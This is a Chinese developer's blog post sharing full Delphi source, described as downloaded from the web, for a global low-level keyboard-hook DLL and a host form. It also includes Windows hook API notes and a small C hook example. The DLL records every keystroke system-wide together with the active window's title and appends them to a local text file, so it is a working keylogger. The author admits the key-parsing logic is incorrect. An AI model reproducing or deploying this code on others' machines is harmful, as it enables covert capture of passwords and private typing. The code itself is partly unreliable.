码农的笔记

Delphi虽好,但已不流行; 博客真好,可以做笔记

博客园 首页 新随笔 联系 订阅 管理

-------------本程序刚开始是别人的,无法实现全局钩键盘消息;修改后能钩中键盘消息,但是没有去解析,那些解析暂时不正确,本人没有那么多时间弄这玩意--

先把代码贴上,不管了,以后有时间可以玩玩。

再次强调,本程序不是本人的,网上下载而来.....

DLL部分

------------------------------

library KeyboardHook;

uses
SysUtils,
Windows,
Messages,
Classes;

{$R *.res}

var
hook: HHOOK; {钩子变量}
LastFocusWnd:Hwnd=0;
PrvChar:Char;
HookKey:String;

KeyList:Tstringlist;
int2:Integer;
const
KeyMask=$80000000;
{键盘钩子函数}
function KeyboardHookProc(iCode: Integer; wParam: WPARAM; lParam:LPARAM):LRESULT;stdcall;
var
ch:Char; //记录一个个按下的按键字符
vKey:integer; //表示按下了哪个键
FocusWnd:HWND; //当前活动窗口句柄
Title:array[0..255] of char; //窗口句柄的标题
str:array[0..12] of char; // 当8<=vkey<=46时,表示按下的键名,例如[退格]
PEvt:^EventMsg; //EventMsg的指针
iCapsLock,iNumLock,iShift:integer; //状态按键
bCapsLock,bNumLock,bShift:boolean; //是否按下状态按键
begin
//if int2<1 then
// MessageBox(0,PChar('11'),PChar('00'),MB_OK );
inc(int2);

if iCode<0 then //遵照SDK文档
begin
Result:=CallNextHookEx(hook,iCode,wParam,lParam);
Exit;
end;

if (iCode = HC_ACTION) then //设备动作
begin

PEvt := pointer(Dword(lparam)); //将lparam的指针传递给PEvt事件消息指针
FocusWnd:= GetActiveWindow; //获取活动窗体句柄
//if (LastFocusWnd <> FocusWnd) then
begin
if (HookKey <> '') then
begin
KeyList.Add('键盘击打:'+HookKey);
HookKey:= '';
end;
GetWindowText(FocusWnd,Title,256);
LastFocusWnd:= FocusWnd;
KeyList.add(Format('激活窗口:%s',[Title])+' 次数:'+inttostr(int2)+'结束');
end;
KeyList.add( '::'+IntToStr( PEvt.message)+' '+char(LoByte(PEvt.paramL )));

//if (PEvt.message = WM_KEYDOWN) then //如果事件消息为键下压操作
if (wParam = WM_KEYDOWN) then
begin

vkey := LoByte(PEvt.paramL ); //取得16进制数最低位那个字节的内容
iShift:= GetKeyState(VK_SHIFT); //获取这三个键的状态
iCapsLock:= GetKeyState(VK_CAPITAL);
iNumLock:= GEtKeyState(VK_NUMLOCK);
bShift:= ((iShift and KeyMask) = KeyMask); //判断它们的状态
bCapsLock:=(iCapsLock = 1);
bNumLock:= (iNumLock = 1);

 

 

if ((vKey >= 48) and (vKey <=57)) then // 0<=char(vkey)<=9
begin
if (not bShift) then //如果没有按下Shift键
ch:= char (vkey) //数字字符
else
begin
case vkey of //否则为以下字符之一
48:ch:= ')';
49:ch:= '!';
50:ch:= '@';
51:ch:= '#';
52:ch:= '$';
53:ch:= '%';
54:ch:= '^';
55:ch:= '&';
56:ch:= '*';
57:ch:= '(';
end; //end case
end; //end else
HookKey:= HookKey + ch;
end; //end if ((vKey >= 48) and (vKey <=57))

if ((vKey >=65) and (vKey <= 90)) then // 'A'<=char(vkey)<='Z'
begin
if (not bCapsLock) then //如果没有按下CapsLock键
begin
if (bShift) then //按下了Shift键
ch:= char(vkey) //大写
else
ch:= char(vkey + 32); //小写
end
else //按下了CapsLock键
begin
if (bShift) then //按下了Shift键
ch:= char(vkey + 32) //小写
else
ch:= char(vkey); //大写
end;
HookKey:= HookKey + ch; //将按键添加到按键字符串
end;
if ((vkey >= 96) and (vkey <= 105)) then //小键盘的0-9
if bNumLock then
HookKey:= HookKey + char(vkey - 96 + 48);
ch:= 'n';
if ((vkey >= 105) and (vkey <=111)) then //+-*/
begin
case vkey of
106:ch:= '*';
107:ch:= '+';
109:ch:= '-';
111:ch:= '/';
else
ch:= 'n';
end;
end;
if ((vkey >=186) and (vkey <= 222)) then //特殊符号
begin
if (not bShift) then //没有按下Shift键
begin
case vkey of
186:ch:= ';';
187:ch:= '=';
189:ch:= ',';
190:ch:= '.';
191:ch:= '/';
192:ch:= '''' ;
219:ch:= '[';
220:ch:= '\';
221:ch:= ']';
222:ch:=char(27);
else
ch:= 'n';
end; //end case
end
else
begin
case vkey of
186:ch:= ':';
187:ch:= '+';
189:ch:= '<';
190:ch:= '>';
191:ch:= '?';
192:ch:= '~';
219:ch:= '{';
220:ch:= '|';
221:ch:= '}';
222:ch:= '"';
else
ch:= 'n';
end; //end case
end; //end if else
end; //end if ((vkey >=186) and (vkey <= 222))
if ch <> 'n' then //剔除未规定字符
HookKey := HookKey + ch;
if ((vkey >= 8) and (vkey <=46)) then
begin
ch:= ' ';
case vkey of
8:str:= '[BACK]';
9:str:= '[TAB]';
13:str:= '[ENTER]';
32:str:= '[SPACE]';
35:str:= '[END]';
36:str:= '[HOME]';
37:str:= '[LF]';
38:str:= '[UF]';
39:str:= '[RF]';
40:str:= '[DF]';
45:str:= '[INSERT]';
46:str:= '[DELETE]';
else
ch:= 'n';
end;
if (ch <> 'n') then
begin
HookKey := HookKey + str;
end;
end;


end;

 

end;

(*if iCode<0 then //遵照SDK文档
begin
Result:=CallNextHookEx(hook,iCode,wParam,lParam);
Exit;
end;

if (iCode = HC_ACTION) then //设备动作
begin

PEvt := pointer(Dword(lparam)); //将lparam的指针传递给PEvt事件消息指针
FocusWnd:= GetActiveWindow; //获取活动窗体句柄
if (LastFocusWnd <> FocusWnd) then
begin
if (HookKey <> '') then
begin
KeyList.Add('键盘击打:'+HookKey);
HookKey:= '';
end;
GetWindowText(FocusWnd,Title,256);
LastFocusWnd:= FocusWnd;
KeyList.add(Format('激活窗口:%s',[Title])+' :'+inttostr(int2));
end;

if (PEvt.message = WM_KEYDOWN) then //如果事件消息为键下压操作
begin
vkey := LoByte(PEvt.paramL ); //取得16进制数最低位那个字节的内容
iShift:= GetKeyState(VK_SHIFT); //获取这三个键的状态
iCapsLock:= GetKeyState(VK_CAPITAL);
iNumLock:= GEtKeyState(VK_NUMLOCK);
bShift:= ((iShift and KeyMask) = KeyMask); //判断它们的状态
bCapsLock:=(iCapsLock = 1);
bNumLock:= (iNumLock = 1);
end;

if ((vKey >= 48) and (vKey <=57)) then // 0<=char(vkey)<=9
begin
if (not bShift) then //如果没有按下Shift键
ch:= char (vkey) //数字字符
else
begin
case vkey of //否则为以下字符之一
48:ch:= ')';
49:ch:= '!';
50:ch:= '@';
51:ch:= '#';
52:ch:= '$';
53:ch:= '%';
54:ch:= '^';
55:ch:= '&';
56:ch:= '*';
57:ch:= '(';
end; //end case
end; //end else
HookKey:= HookKey + ch;
end; //end if ((vKey >= 48) and (vKey <=57))

if ((vKey >=65) and (vKey <= 90)) then // 'A'<=char(vkey)<='Z'
begin
if (not bCapsLock) then //如果没有按下CapsLock键
begin
if (bShift) then //按下了Shift键
ch:= char(vkey) //大写
else
ch:= char(vkey + 32); //小写
end
else //按下了CapsLock键
begin
if (bShift) then //按下了Shift键
ch:= char(vkey + 32) //小写
else
ch:= char(vkey); //大写
end;
HookKey:= HookKey + ch; //将按键添加到按键字符串
end;
if ((vkey >= 96) and (vkey <= 105)) then //小键盘的0-9
if bNumLock then
HookKey:= HookKey + char(vkey - 96 + 48);
ch:= 'n';
if ((vkey >= 105) and (vkey <=111)) then //+-*/
begin
case vkey of
106:ch:= '*';
107:ch:= '+';
109:ch:= '-';
111:ch:= '/';
else
ch:= 'n';
end;
end;
if ((vkey >=186) and (vkey <= 222)) then //特殊符号
begin
if (not bShift) then //没有按下Shift键
begin
case vkey of
186:ch:= ';';
187:ch:= '=';
189:ch:= ',';
190:ch:= '.';
191:ch:= '/';
192:ch:= '''' ;
219:ch:= '[';
220:ch:= '\';
221:ch:= ']';
222:ch:=char(27);
else
ch:= 'n';
end; //end case
end
else
begin
case vkey of
186:ch:= ':';
187:ch:= '+';
189:ch:= '<';
190:ch:= '>';
191:ch:= '?';
192:ch:= '~';
219:ch:= '{';
220:ch:= '|';
221:ch:= '}';
222:ch:= '"';
else
ch:= 'n';
end; //end case
end; //end if else
end; //end if ((vkey >=186) and (vkey <= 222))
if ch <> 'n' then //剔除未规定字符
HookKey := HookKey + ch;
if ((vkey >= 8) and (vkey <=46)) then
begin
ch:= ' ';
case vkey of
8:str:= '[BACK]';
9:str:= '[TAB]';
13:str:= '[ENTER]';
32:str:= '[SPACE]';
35:str:= '[END]';
36:str:= '[HOME]';
37:str:= '[LF]';
38:str:= '[UF]';
39:str:= '[RF]';
40:str:= '[DF]';
45:str:= '[INSERT]';
46:str:= '[DELETE]';
else
ch:= 'n';
end;
if (ch <> 'n') then
begin
HookKey := HookKey + str;
end;
end;

// KeyList.Add('ABC');
end;//end iCode= HC_ACTION
*)
result := CallNextHookEx(hook,iCode,wparam,lparam);
end;

{建立钩子}
function SetHook:Boolean;stdcall;
begin

if (hook = 0) then
begin
KeyList:=Tstringlist.Create;
//hook := SetWindowsHookEx(WH_JOURNALRECORD,KeyboardHookProc,HInstance,0); //调用API HOOK
//hook := SetWindowsHookEx(WH_KEYBOARD,KeyboardHookProc,HInstance,0); //调用API HOOK
hook := SetWindowsHookEx(13,KeyboardHookProc,HInstance,0); //13(WH_KEYBOARD_ll)

Result:=hook<>0
end
else
Result:=False;
end;

{释放钩子}
function DelHook:Boolean;stdcall;
begin
if (hook <> 0 ) then
begin
Result:=UnHookWindowsHookEx(hook); //卸载HOOK
hook:=0;
KeyList.Free;
end
else
Result:=False;
end;

procedure PrintHook;stdcall;
var
printStr:string;
txtFile:TextFile;
fileName:string;
begin
if KeyList <> nil then
begin
printStr:=keyList.Text;
KeyList.Text:='';
//将键盘输入内容进行打印
fileName:='.\keyboardRecord.txt';

AssignFile(txtFile,fileName);
if not FileExists(fileName) then
begin
Rewrite(txtFile);
end
else
begin
Append(txtFile);
end;

Writeln(txtFile,printStr+' 行数:'+inttostr(keyList.count)+' 结束');
Closefile(txtFile);

end;
end;

{按DLL的要求输出函数}
exports
SetHook name 'SetHook',
DelHook name 'DelHook',
PrintHook name 'PrintHook';

//SetHook,DelHook,PrintHook;{如果不需要改名,可以直接这样exports}
begin
Sleep(1000);
end.

---------------------------------------
1. 设置钩子API

HHOOK WINAPI SetWindowsHookEx(
_In_ int idHook,            设置钩子的类型.意思就是我要设置的钩子是什么钩子. 可以是监视窗口过程.可以是监视消息队列.
_In_ HOOKPROC lpfn,             根据钩子类型.设置不同的回调函数.
_In_ HINSTANCE hMod,            钩子设置的Dll实例句柄,就是DLL的句柄
_In_ DWORD dwThreadId           设置钩子的线程ID. 如果为0 则设置为全局钩子.
);
                          HHOOK 返回值. 是一个钩子过程句柄.
2.获取模块句柄API

HMODULE WINAPI GetModuleHandle(
_In_opt_ LPCTSTR lpModuleName 获取的实例句柄的文件名.可以是Dll可以使exe 如果为NULL 这是当前dll/exe的实例句柄
); 返回值 返回实例句柄.
3.取消设置钩子API

BOOL WINAPI UnhookWindowsHookEx(
_In_ HHOOK hhk 参数一是 SetWindowHookEx的返回值.也就是钩子过程句柄.
); 返回值: 返回值是BOOL类型.表示设置是否成功或者失败.
4.继续调用钩子链中的钩子过程.

LRESULT WINAPI CallNextHookEx(
_In_opt_ HHOOK hhk,          保存的钩子过程,也就是SetWindowsHookEx返回值.
_In_ int nCode, 根据SetWindowsHookEx设置的钩子回调而产生的不同的nCode代码. 什么意思? 意思就是如果设置的钩子类型是鼠标消息.那么那个nCode就是鼠标消息.如果是键盘这是键盘
_In_ WPARAM wParam, 同2参数一样.附加参数. 根据钩子回调类型.附加参数有不同的意义.比如如果是鼠标.那么这个有可能代表的就是鼠标的x位置.键盘就可能是键代码
_In_ LPARAM lParam 同3参数一样.附加参数.
);
5.钩子回调

钩子回调根据SetWindowsHookEx参数1来设定的.比如如果我们设置WH_CBT 那么我们设置的回调函数就是CBT回调. 具体查询MSDN


LRESULT CALLBACK CBTProc( 这个回调函数里面写我们的代码就可以了.
_In_ int nCode,
_In_ WPARAM wParam,
_In_ LPARAM lParam
);

-------------------------------------------------------------------------------------------------
LRESULT CallNextHookEx(
HHOOK hhk,//此参数将被忽略
int nCode,//转接代码传递到当前挂钩过程。下一个挂钩过程使用此代码来确定如何处理挂钩信息。
WPARAM wParam,//wParam值传递给当前挂钩过程。此参数的含义取决于与当前挂钩链关联的挂钩类型。
LPARAM lParam//lParam值传递给当前挂钩过程。此参数的含义取决于与当前挂钩链关联的挂钩类型
);

LRESULT CALLBACK LowLevelKeyboardProc(
_In_ int nCode,
_In_ WPARAM wParam,
_In_ LPARAM lParam
);

HHOOK g_Hook;
LRESULT CALLBACK LowLevelKeyboardProc(INT nCode, WPARAM wParam, LPARAM lParam)
{
KBDLLHOOKSTRUCT *pkbhs = (KBDLLHOOKSTRUCT *)lParam;
BOOL bControlKeyDown = 0;

switch (nCode)
{
case HC_ACTION:
{
// 检查是否按了ctrl键
bControlKeyDown = GetAsyncKeyState (VK_CONTROL) >> ((sizeof(SHORT) * 8) - 1);

//Disable CTRL+ESC
if (pkbhs->vkCode == VK_ESCAPE && bControlKeyDown)
return 1;
if(wParam == WM_KEYUP)
printf("%c", pkbhs->vkCode);

break;
}
}
return CallNextHookEx(g_Hook, nCode, wParam, lParam); //回调
//return 1;
}


int _tmain(int argc, _TCHAR* argv[])
{
MSG msg;
g_Hook=(HHOOK)SetWindowsHookEx(WH_KEYBOARD_LL,
(HOOKPROC)LowLevelKeyboardProc, GetModuleHandleW(0),0);
while(GetMessageW(&msg,0,0,0))DispatchMessageW(&msg);
return 0;
}
---------------------------------------------------------------------------------------

 

 

-------------主程序部分------------------

------------Unit开始

unit Main_u;

interface

uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls;

type
TFrmMain = class(TForm)
Button1: TButton;
Button2: TButton;
Button3: TButton;
Memo1: TMemo;
procedure Button1Click(Sender: TObject);
procedure Button2Click(Sender: TObject);
procedure Button3Click(Sender: TObject);
procedure FormCreate(Sender: TObject);
procedure FormClose(Sender: TObject; var Action: TCloseAction);
private
{ Private declarations }
isHookInstalled:Boolean;
public
{ Public declarations }
end;

{DLL 中的函数声明}
function SetHook: Boolean; stdcall;
function DelHook: Boolean; stdcall;
procedure PrintHook;stdcall;

var
FrmMain: TFrmMain;

implementation

{$R *.dfm}
{DLL 中的函数实现, 也就是说明来自那里, 原来叫什么名}
function SetHook; external '.\Dll\KeyboardHook.dll' name 'SetHook';
function DelHook; external '.\Dll\KeyboardHook.dll' name 'DelHook';
procedure PrintHook; external '.\Dll\KeyboardHook.dll' name 'PrintHook';

procedure TFrmMain.Button1Click(Sender: TObject);
begin
Self.Button1.Enabled:=False;
Self.Button2.Enabled:=True;
Self.Button3.Enabled:=True;

if SetHook then
begin
isHookInstalled:=True;
Self.Memo1.Lines.Add('键盘钩子已安装。。。');
end;
end;

procedure TFrmMain.Button2Click(Sender: TObject);
begin
PrintHook;
Self.Memo1.Lines.Add('已打印');
end;

procedure TFrmMain.Button3Click(Sender: TObject);
begin
if DelHook then
begin
isHookInstalled:=False;
Self.Memo1.Lines.Add('键盘钩子已撤销!!!');
Self.Memo1.Lines.Add(' ');
end;

Self.Button1.Enabled:=True;
Self.Button2.Enabled:=False;
Self.Button3.Enabled:=False;
end;

procedure TFrmMain.FormCreate(Sender: TObject);
begin
Self.Button1.Enabled:=True;
Self.Button2.Enabled:=False;
Self.Button3.Enabled:=False;
isHookInstalled:=False;

Self.Memo1.Color:=clBlack;
Self.Memo1.Font.Color:=clGreen;
end;

procedure TFrmMain.FormClose(Sender: TObject; var Action: TCloseAction);
begin
if isHookInstalled then
DelHook;
end;

end.

------------Unit结束----------

 

------------Form开始-------------------

object FrmMain: TFrmMain
Left = 707
Top = 458
Caption = 'FrmMain'
ClientHeight = 392
ClientWidth = 358
Color = clBtnFace
Font.Charset = DEFAULT_CHARSET
Font.Color = clWindowText
Font.Height = -11
Font.Name = 'MS Sans Serif'
Font.Style = []
OldCreateOrder = False
OnClose = FormClose
OnCreate = FormCreate
PixelsPerInch = 96
TextHeight = 13
object Memo1: TMemo
Left = 0
Top = 0
Width = 185
Height = 385
ImeName = #20013#25991'('#31616#20307') - '#25628#29399#25340#38899#36755#20837#27861
Lines.Strings = (
'Memo1')
TabOrder = 0
end
object Button1: TButton
Left = 224
Top = 48
Width = 75
Height = 25
Caption = 'Button1'
TabOrder = 1
OnClick = Button1Click
end
object Button2: TButton
Left = 224
Top = 136
Width = 75
Height = 25
Caption = 'Button2'
TabOrder = 2
OnClick = Button2Click
end
object Button3: TButton
Left = 224
Top = 232
Width = 75
Height = 25
Caption = 'Button3'
TabOrder = 3
OnClick = Button3Click
end
end

------------Form结束-------------------

 

posted on 2020-12-18 17:32  码农的笔记  阅读(566)  评论(0编辑  收藏  举报